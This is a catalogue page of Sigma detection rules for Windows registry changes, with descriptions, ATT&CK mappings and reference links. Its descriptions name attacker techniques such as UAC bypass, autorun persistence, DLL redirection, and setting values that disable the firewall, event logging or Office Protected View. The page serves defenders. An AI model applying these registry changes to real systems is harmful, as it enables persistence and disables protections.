https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_potential_clickfix_execution.yml

Registry Modification for OCI DLL Redirection

Detects registry modifications related to 'OracleOciLib' and 'OracleOciLibPath' under 'MSDTC' settings. Threat actors may modify these registry keys to redirect the loading of 'oci.dll' to a malicious DLL, facilitating phantom DLL hijacking via the MSDTC service.

The tag is: *misp-galaxy:sigma-rules="Registry Modification for OCI DLL Redirection"*

View relationships graph

Registry Modification for OCI DLL Redirection has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="DLL - T1574.001" with estimative-language:likelihood-probability="almost-certain"

Table 14525. Table References

Links
https://www.crowdstrike.com/en-us/blog/4-ways-adversaries-hijack-dlls/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_potential_oci_dll_redirection.yml

Suspicious Shell Open Command Registry Modification

Detects modifications to shell open registry keys that point to suspicious locations typically used by malware for persistence. Generally, modifications to the `*\shell\open\command` registry key can indicate an attempt to change the default action for opening files, and various UAC bypass or persistence techniques involve modifying these keys to execute malicious scripts or binaries.

The tag is: *misp-galaxy:sigma-rules="Suspicious Shell Open Command Registry Modification"*

View relationships graph

Suspicious Shell Open Command Registry Modification has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1548.002" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Change Default File Association - T1546.001" with estimative-language:likelihood-probability="almost-certain"

Table 14526. Table References

Links
https://www.trendmicro.com/en_us/research/25/f/water-curse.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_susp_shell_open_keys_modification_patterns.yml

Registry Hide Function from User

Detects registry modifications that hide internal tools or functions from the user (malware like Agent Tesla, Hermetic Wiper uses this technique)

The tag is: *misp-galaxy:sigma-rules="Registry Hide Function from User"*

View relationships graph

Registry Hide Function from User has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"

Table 14527. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1564.001/T1564.001.md
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_hide_function_user.yml

Outlook EnableUnsafeClientMailRules Setting Enabled - Registry

Detects an attacker trying to enable the outlook security setting "EnableUnsafeClientMailRules" which allows outlook to run applications or execute macros

The tag is: *misp-galaxy:sigma-rules="Outlook EnableUnsafeClientMailRules Setting Enabled - Registry"*

View relationships graph

Outlook EnableUnsafeClientMailRules Setting Enabled - Registry has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"

Table 14528. Table References

Links
https://speakerdeck.com/heirhabarov/hunting-for-persistence-via-microsoft-exchange-server-or-outlook?slide=44
https://support.microsoft.com/en-us/topic/how-to-control-the-rule-actions-to-start-an-application-or-run-a-macro-in-outlook-2016-and-outlook-2013-e4964b72-173c-959d-5d7b-ead562979048
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_office_outlook_enable_unsafe_client_mail_rules.yml

Potential Persistence Via TypedPaths

Detects modification addition to the 'TypedPaths' key in the user or admin registry from a non standard application. Which might indicate persistence attempt

The tag is: *misp-galaxy:sigma-rules="Potential Persistence Via TypedPaths"*

Table 14529. Table References

Links
https://forensafe.com/blogs/typedpaths.html
https://twitter.com/dez_/status/1560101453150257154
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_persistence_typed_paths.yml

Potentially Suspicious Command Executed Via Run Dialog Box - Registry

Detects execution of commands via the run dialog box on Windows by checking values of the "RunMRU" registry key. This technique was seen being abused by threat actors to deceive users into pasting and executing malicious commands, often disguised as CAPTCHA verification steps.

The tag is: *misp-galaxy:sigma-rules="Potentially Suspicious Command Executed Via Run Dialog Box - Registry"*

View relationships graph

Potentially Suspicious Command Executed Via Run Dialog Box - Registry has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 14530. Table References

Links
https://medium.com/@shaherzakaria8/downloading-trojan-lumma-infostealer-through-capatcha-1f25255a0e71
https://medium.com/@ahmed.moh.farou2/fake-captcha-campaign-on-arabic-pirated-movie-sites-delivers-lumma-stealer-4f203f7adabf
https://www.forensafe.com/blogs/runmrukey.html
https://redcanary.com/blog/threat-intelligence/intelligence-insights-october-2024/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_runmru_susp_command_execution.yml

PowerShell as a Service in Registry

Detects that a powershell code is written to the registry as a service.

The tag is: *misp-galaxy:sigma-rules="PowerShell as a Service in Registry"*

View relationships graph

PowerShell as a Service in Registry has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Service Execution - T1569.002" with estimative-language:likelihood-probability="almost-certain"

Table 14531. Table References

Links
https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_powershell_as_service.yml

Usage of Renamed Sysinternals Tools - RegistrySet

Detects non-sysinternals tools setting the "accepteula" key which normally is set on sysinternals tool execution

The tag is: *misp-galaxy:sigma-rules="Usage of Renamed Sysinternals Tools - RegistrySet"*

View relationships graph

Usage of Renamed Sysinternals Tools - RegistrySet has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Tool - T1588.002" with estimative-language:likelihood-probability="almost-certain"

Table 14532. Table References

Links

Internal Research[Internal Research]
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_renamed_sysinternals_eula_accepted.yml

IE Change Domain Zone

Hides the file extension through modification of the registry

The tag is: *misp-galaxy:sigma-rules="IE Change Domain Zone"*

View relationships graph

IE Change Domain Zone has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Office Application Startup - T1137" with estimative-language:likelihood-probability="almost-certain"

Table 14533. Table References

Links
https://learn.microsoft.com/en-us/troubleshoot/developer/browsers/security-privacy/ie-security-zones-registry-entries
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1112/T1112.md#atomic-test-4---add-domain-to-trusted-sites-zone
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_change_security_zones.yml

Tamper With Sophos AV Registry Keys

Detects tamper attempts to sophos av functionality via registry key modification

The tag is: *misp-galaxy:sigma-rules="Tamper With Sophos AV Registry Keys"*

View relationships graph

Tamper With Sophos AV Registry Keys has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

Table 14534. Table References

Links
https://redacted.com/blog/bianlian-ransomware-gang-gives-it-a-go/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_sophos_av_tamper.yml

Disable Windows Event Logging Via Registry

Detects tampering with the "Enabled" registry key in order to disable Windows logging of a Windows event channel

The tag is: *misp-galaxy:sigma-rules="Disable Windows Event Logging Via Registry"*

View relationships graph

Disable Windows Event Logging Via Registry has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable Windows Event Logging - T1562.002" with estimative-language:likelihood-probability="almost-certain"

Table 14535. Table References

Links
https://twitter.com/WhichbufferArda/status/1543900539280293889
https://github.com/DebugPrivilege/CPP/blob/c39d365617dbfbcb01fffad200d52b6239b2918c/Windows%20Defender/RestoreDefenderConfig.cpp
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disable_winevt_logging.yml

Potential WerFault ReflectDebugger Registry Value Abuse

Detects potential WerFault "ReflectDebugger" registry value abuse for persistence.

The tag is: *misp-galaxy:sigma-rules="Potential WerFault ReflectDebugger Registry Value Abuse"*

View relationships graph

Potential WerFault ReflectDebugger Registry Value Abuse has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Rename Legitimate Utilities - T1036.003" with estimative-language:likelihood-probability="almost-certain"

Table 14536. Table References

Links
https://www.hexacorn.com/blog/2018/08/31/beyond-good-ol-run-key-part-85/
https://cocomelonc.github.io/malware/2022/11/02/malware-pers-18.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_persistence_reflectdebugger.yml

Winlogon AllowMultipleTSSessions Enable

Detects when the 'AllowMultipleTSSessions' value is enabled. Which allows for multiple Remote Desktop connection sessions to be opened at once. This is often used by attacker as a way to connect to an RDP session without disconnecting the other users

The tag is: *misp-galaxy:sigma-rules="Winlogon AllowMultipleTSSessions Enable"*

View relationships graph

Winlogon AllowMultipleTSSessions Enable has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"

Table 14537. Table References

Links
http://blog.talosintelligence.com/2022/09/lazarus-three-rats.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_winlogon_allow_multiple_tssessions.yml

Registry Persistence via Service in Safe Mode

Detects the modification of the registry to allow a driver or service to persist in Safe Mode.

The tag is: *misp-galaxy:sigma-rules="Registry Persistence via Service in Safe Mode"*

View relationships graph

Registry Persistence via Service in Safe Mode has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Hidden Files and Directories - T1564.001" with estimative-language:likelihood-probability="almost-certain"

Table 14538. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1112/T1112.md#atomic-test-33---windows-add-registry-value-to-load-service-in-safe-mode-without-network
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1112/T1112.md#atomic-test-34---windows-add-registry-value-to-load-service-in-safe-mode-with-network
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_add_load_service_in_safe_mode.yml

ScreenSaver Registry Key Set

Detects registry key established after masqueraded .scr file execution using Rundll32 through desk.cpl

The tag is: *misp-galaxy:sigma-rules="ScreenSaver Registry Key Set"*

View relationships graph

ScreenSaver Registry Key Set has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Rundll32 - T1218.011" with estimative-language:likelihood-probability="almost-certain"

Table 14539. Table References

Links
https://twitter.com/pabraeken/status/998627081360695297
https://jstnk9.github.io/jstnk9/research/InstallScreenSaver-SCR-files
https://twitter.com/VakninHai/status/1517027824984547329
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_scr_file_executed_by_rundll32.yml

ETW Logging Disabled For SCM

Detects changes to the "TracingDisabled" key in order to disable ETW logging for services.exe (SCM)

The tag is: *misp-galaxy:sigma-rules="ETW Logging Disabled For SCM"*

View relationships graph

ETW Logging Disabled For SCM has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Impair Defenses - T1562" with estimative-language:likelihood-probability="almost-certain"

Table 14540. Table References

Links
http://redplait.blogspot.com/2020/07/whats-wrong-with-etw.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_services_etw_tamper.yml

Potential Signing Bypass Via Windows Developer Features - Registry

Detects when the enablement of developer features such as "Developer Mode" or "Application Sideloading". Which allows the user to install untrusted packages.

The tag is: *misp-galaxy:sigma-rules="Potential Signing Bypass Via Windows Developer Features - Registry"*

Table 14541. Table References

Links
https://www.sentinelone.com/labs/inside-malicious-windows-apps-for-malware-deployment/
https://twitter.com/malmoeb/status/1560536653709598721
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_turn_on_dev_features.yml

Disable Internal Tools or Feature in Registry

Detects registry modifications that change features of internal Windows tools (malware like Agent Tesla uses this technique)

The tag is: *misp-galaxy:sigma-rules="Disable Internal Tools or Feature in Registry"*

View relationships graph

Disable Internal Tools or Feature in Registry has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"

Table 14542. Table References

Links
https://www.malwarebytes.com/blog/detections/pum-optional-nodispbackgroundpage
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1112/T1112.md
https://blogs.vmware.com/security/2022/11/batloader-the-evasive-downloader-malware.html
https://www.malwarebytes.com/blog/detections/pum-optional-nodispcpl
https://bazaar.abuse.ch/sample/7bde840c7e8c36dce4c3bac937bcf39f36a6f118001b406bfbbc25451ce44fb4/
https://www.mandiant.com/resources/unc2165-shifts-to-evade-sanctions
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disable_function_user.yml

UAC Bypass Abusing Winsat Path Parsing - Registry

Detects the pattern of UAC Bypass using a path parsing issue in winsat.exe (UACMe 52)

The tag is: *misp-galaxy:sigma-rules="UAC Bypass Abusing Winsat Path Parsing - Registry"*

View relationships graph

UAC Bypass Abusing Winsat Path Parsing - Registry has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1548.002" with estimative-language:likelihood-probability="almost-certain"

Table 14543. Table References

Links
https://github.com/hfiref0x/UACME
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_uac_bypass_winsat.yml

Disable Windows Security Center Notifications

Detect set UseActionCenterExperience to 0 to disable the Windows security center notification

The tag is: *misp-galaxy:sigma-rules="Disable Windows Security Center Notifications"*

View relationships graph

Disable Windows Security Center Notifications has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"

Table 14544. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1112/T1112.md
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disable_security_center_notifications.yml

Disable Privacy Settings Experience in Registry

Detects registry modifications that disable Privacy Settings Experience

The tag is: *misp-galaxy:sigma-rules="Disable Privacy Settings Experience in Registry"*

View relationships graph

Disable Privacy Settings Experience in Registry has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

Table 14545. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/9e5b12c4912c07562aec7500447b11fa3e17e254/atomics/T1562.001/T1562.001.md
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disable_privacy_settings_experience.yml

Hide Schedule Task Via Index Value Tamper

Detects when the "index" value of a scheduled task is modified from the registry Which effectively hides it from any tooling such as "schtasks /query" (Read the referenced link for more information about the effects of this technique)

The tag is: *misp-galaxy:sigma-rules="Hide Schedule Task Via Index Value Tamper"*

View relationships graph

Hide Schedule Task Via Index Value Tamper has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Impair Defenses - T1562" with estimative-language:likelihood-probability="almost-certain"

Table 14546. Table References

Links
https://blog.qualys.com/vulnerabilities-threat-research/2022/06/20/defending-against-scheduled-task-attacks-in-windows-environments
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_hide_scheduled_task_via_index_tamper.yml

Suspicious Shim Database Patching Activity

Detects installation of new shim databases that try to patch sections of known processes for potential process injection or persistence.

The tag is: *misp-galaxy:sigma-rules="Suspicious Shim Database Patching Activity"*

View relationships graph

Suspicious Shim Database Patching Activity has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Application Shimming - T1546.011" with estimative-language:likelihood-probability="almost-certain"

Table 14547. Table References

Links
https://www.fireeye.com/blog/threat-research/2017/05/fin7-shim-databases-persistence.html
https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/pillowmint-fin7s-monkey-thief/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_persistence_shim_database_susp_application.yml

Lolbas OneDriveStandaloneUpdater.exe Proxy Download

Detects setting a custom URL for OneDriveStandaloneUpdater.exe to download a file from the Internet without executing any anomalous executables with suspicious arguments. The downloaded file will be in C:\Users\redacted\AppData\Local\Microsoft\OneDrive\StandaloneUpdaterreSignInSettingsConfig.json

The tag is: *misp-galaxy:sigma-rules="Lolbas OneDriveStandaloneUpdater.exe Proxy Download"*

View relationships graph

Lolbas OneDriveStandaloneUpdater.exe Proxy Download has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 14548. Table References

Links
https://lolbas-project.github.io/lolbas/Binaries/OneDriveStandaloneUpdater/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_lolbin_onedrivestandaloneupdater.yml

Wow6432Node Windows NT CurrentVersion Autorun Keys Modification

Detects modification of autostart extensibility point (ASEP) in registry.

The tag is: *misp-galaxy:sigma-rules="Wow6432Node Windows NT CurrentVersion Autorun Keys Modification"*

View relationships graph

Wow6432Node Windows NT CurrentVersion Autorun Keys Modification has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"

Table 14549. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md
https://gist.github.com/GlebSukhodolskiy/0fc5fa5f482903064b448890db1eaf9d
https://learn.microsoft.com/en-us/sysinternals/downloads/autoruns
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_asep_reg_keys_modification_wow6432node_currentversion.yml

UAC Secure Desktop Prompt Disabled

Detects when an attacker tries to change User Account Control (UAC) elevation request destination via the "PromptOnSecureDesktop" value. The "PromptOnSecureDesktop" setting specifically determines whether UAC prompts are displayed on the secure desktop. The secure desktop is a separate desktop environment that's isolated from other processes running on the system. It's designed to prevent malicious software from intercepting or tampering with UAC prompts. When "PromptOnSecureDesktop" is set to 0, UAC prompts are displayed on the user's current desktop instead of the secure desktop. This reduces the level of security because it potentially exposes the prompts to manipulation by malicious software.

The tag is: *misp-galaxy:sigma-rules="UAC Secure Desktop Prompt Disabled"*

View relationships graph

UAC Secure Desktop Prompt Disabled has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1548.002" with estimative-language:likelihood-probability="almost-certain"

Table 14550. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/7e11e9b79583545f208a6dc3fa062f2ed443d999/atomics/T1548.002/T1548.002.md
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_uac_disable_secure_desktop_prompt.yml

Common Autorun Keys Modification

Detects modification of autostart extensibility point (ASEP) in registry.

The tag is: *misp-galaxy:sigma-rules="Common Autorun Keys Modification"*

View relationships graph

Common Autorun Keys Modification has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"

Table 14551. Table References

Links
https://persistence-info.github.io/Data/userinitmprlogonscript.html
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md
https://gist.github.com/GlebSukhodolskiy/0fc5fa5f482903064b448890db1eaf9d
https://learn.microsoft.com/en-us/sysinternals/downloads/autoruns
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_asep_reg_keys_modification_common.yml

Suspicious Space Characters in TypedPaths Registry Path - FileFix

Detects the occurrence of numerous space characters in TypedPaths registry paths, which may indicate execution via phishing lures using file-fix techniques to hide malicious commands.

The tag is: *misp-galaxy:sigma-rules="Suspicious Space Characters in TypedPaths Registry Path - FileFix"*

View relationships graph

Suspicious Space Characters in TypedPaths Registry Path - FileFix has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Malicious Copy and Paste - T1204.004" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Command Obfuscation - T1027.010" with estimative-language:likelihood-probability="almost-certain"

Table 14552. Table References

Links
https://expel.com/blog/cache-smuggling-when-a-picture-isnt-a-thousand-words/
https://mrd0x.com/filefix-clickfix-alternative/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_susp_typedpaths_space_characters.yml

Session Manager Autorun Keys Modification

Detects modification of autostart extensibility point (ASEP) in registry.

The tag is: *misp-galaxy:sigma-rules="Session Manager Autorun Keys Modification"*

View relationships graph

Session Manager Autorun Keys Modification has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="AppCert DLLs - T1546.009" with estimative-language:likelihood-probability="almost-certain"

Table 14553. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md
https://gist.github.com/GlebSukhodolskiy/0fc5fa5f482903064b448890db1eaf9d
https://learn.microsoft.com/en-us/sysinternals/downloads/autoruns
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_asep_reg_keys_modification_session_manager.yml

Displaying Hidden Files Feature Disabled

Detects modifications to the "Hidden" and "ShowSuperHidden" explorer registry values in order to disable showing of hidden files and system files. This technique is abused by several malware families to hide their files from normal users.

The tag is: *misp-galaxy:sigma-rules="Displaying Hidden Files Feature Disabled"*

View relationships graph

Displaying Hidden Files Feature Disabled has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Hidden Files and Directories - T1564.001" with estimative-language:likelihood-probability="almost-certain"

Table 14554. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1564.001/T1564.001.md#atomic-test-8---hide-files-through-registry
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_hide_file.yml

Directory Service Restore Mode(DSRM) Registry Value Tampering

Detects changes to "DsrmAdminLogonBehavior" registry value. During a Domain Controller (DC) promotion, administrators create a Directory Services Restore Mode (DSRM) local administrator account with a password that rarely changes. The DSRM account is an “Administrator” account that logs in with the DSRM mode when the server is booting up to restore AD backups or recover the server from a failure. Attackers could abuse DSRM account to maintain their persistence and access to the organization’s Active Directory. If the "DsrmAdminLogonBehavior" value is set to "0", the administrator account can only be used if the DC starts in DSRM. If the "DsrmAdminLogonBehavior" value is set to "1", the administrator account can only be used if the local AD DS service is stopped. If the "DsrmAdminLogonBehavior" value is set to "2", the administrator account can always be used.

The tag is: *misp-galaxy:sigma-rules="Directory Service Restore Mode(DSRM) Registry Value Tampering"*

View relationships graph

Directory Service Restore Mode(DSRM) Registry Value Tampering has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Modify Authentication Process - T1556" with estimative-language:likelihood-probability="almost-certain"

Table 14555. Table References

Links
https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/dsrm-credentials
https://www.sentinelone.com/blog/detecting-dsrm-account-misconfigurations/
https://adsecurity.org/?p=1785
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_dsrm_tampering.yml

Microsoft Office Protected View Disabled

Detects changes to Microsoft Office protected view registry keys with which the attacker disables this feature.

The tag is: *misp-galaxy:sigma-rules="Microsoft Office Protected View Disabled"*

View relationships graph

Microsoft Office Protected View Disabled has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

Table 14556. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md
https://unit42.paloaltonetworks.com/unit42-gorgon-group-slithering-nation-state-cybercrime/
https://yoroi.company/research/cyber-criminal-espionage-operation-insists-on-italian-manufacturing/
https://admx.help/HKCU/software/policies/microsoft/office/16.0/excel/security/protectedview
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_office_disable_protected_view_features.yml

Winlogon Notify Key Logon Persistence

Adversaries may abuse features of Winlogon to execute DLLs and/or executables when a user logs in. Winlogon.exe is a Windows component responsible for actions at logon/logoff as well as the secure attention sequence (SAS) triggered by Ctrl-Alt-Delete.

The tag is: *misp-galaxy:sigma-rules="Winlogon Notify Key Logon Persistence"*

View relationships graph

Winlogon Notify Key Logon Persistence has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Winlogon Helper DLL - T1547.004" with estimative-language:likelihood-probability="almost-certain"

Table 14557. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.004/T1547.004.md#atomic-test-3---winlogon-notify-key-logon-persistence---powershell
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_winlogon_notify_key.yml

Enable Local Manifest Installation With Winget

Detects changes to the AppInstaller (winget) policy. Specifically the activation of the local manifest installation, which allows a user to install new packages via custom manifests.

The tag is: *misp-galaxy:sigma-rules="Enable Local Manifest Installation With Winget"*

Table 14558. Table References

Links
https://github.com/nasbench/Misc-Research/tree/b9596e8109dcdb16ec353f316678927e507a5b8d/LOLBINs/Winget

https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_winget_enable_local_manifest.yml

Suspicious Environment Variable Has Been Registered

Detects the creation of user-specific or system-wide environment variables via the registry. Which contains suspicious commands and strings

The tag is: *misp-galaxy:sigma-rules="Suspicious Environment Variable Has Been Registered"*

Table 14559. Table References

Links
https://infosec.exchange/@sbousseaden/109542254124022664
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_suspicious_env_variables.yml

Disable Windows Firewall by Registry

Detect set EnableFirewall to 0 to disable the Windows firewall

The tag is: *misp-galaxy:sigma-rules="Disable Windows Firewall by Registry"*

View relationships graph

Disable Windows Firewall by Registry has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify System Firewall - T1562.004" with estimative-language:likelihood-probability="almost-certain"

Table 14560. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1562.004/T1562.004.md
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disable_windows_firewall.yml

Default RDP Port Changed to Non Standard Port

Detects changes to the default RDP port. Remote desktop is a common feature in operating systems. It allows a user to log into a remote system using an interactive session with a graphical user interface. Microsoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS).

The tag is: *misp-galaxy:sigma-rules="Default RDP Port Changed to Non Standard Port"*

View relationships graph

Default RDP Port Changed to Non Standard Port has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Port Monitors - T1547.010" with estimative-language:likelihood-probability="almost-certain"

Table 14561. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1021.001/T1021.001.md
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_change_rdp_port.yml

NET NGenAssemblyUsageLog Registry Key Tamper

Detects changes to the NGenAssemblyUsageLog registry key. .NET Usage Log output location can be controlled by setting the NGenAssemblyUsageLog CLR configuration knob in the Registry or by configuring an environment variable (as described in the next section). By simplify specifying an arbitrary value (e.g. fake output location or junk data) for the expected value, a Usage Log file for the .NET execution context will not be created.

The tag is: *misp-galaxy:sigma-rules="NET NGenAssemblyUsageLog Registry Key Tamper"*

View relationships graph

NET NGenAssemblyUsageLog Registry Key Tamper has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"

Table 14562. Table References

Links
https://bohops.com/2021/03/16/investigating-net-clr-usage-log-tampering-techniques-for-edr-evasion/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_net_cli_ngenassemblyusagelog.yml

Python Function Execution Security Warning Disabled In Excel - Registry

Detects changes to the registry value "PythonFunctionWarnings" that would prevent any warnings or alerts from showing when Python functions are about to be executed. Threat actors could run malicious code through the new Microsoft Excel feature that allows Python to run within the spreadsheet.

The tag is: *misp-galaxy:sigma-rules="Python Function Execution Security Warning Disabled In Excel - Registry"*

View relationships graph

Python Function Execution Security Warning Disabled In Excel - Registry has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

Table 14563. Table References

Links
https://support.microsoft.com/en-us/office/data-security-and-python-in-excel-33cc88a4-4a87-485e-9ff9-f35958278327
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_office_disable_python_security_warnings.yml

Potential Provisioning Registry Key Abuse For Binary Proxy Execution - REG

Detects potential abuse of the provisioning registry key for indirect command execution through "Provlaunch.exe".

The tag is: *misp-galaxy:sigma-rules="Potential Provisioning Registry Key Abuse For Binary Proxy Execution - REG"*

View relationships graph

Potential Provisioning Registry Key Abuse For Binary Proxy Execution - REG has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"

Table 14564. Table References

Links
https://twitter.com/0gtweet/status/1674399582162153472
https://lolbas-project.github.io/lolbas/Binaries/Provlaunch/
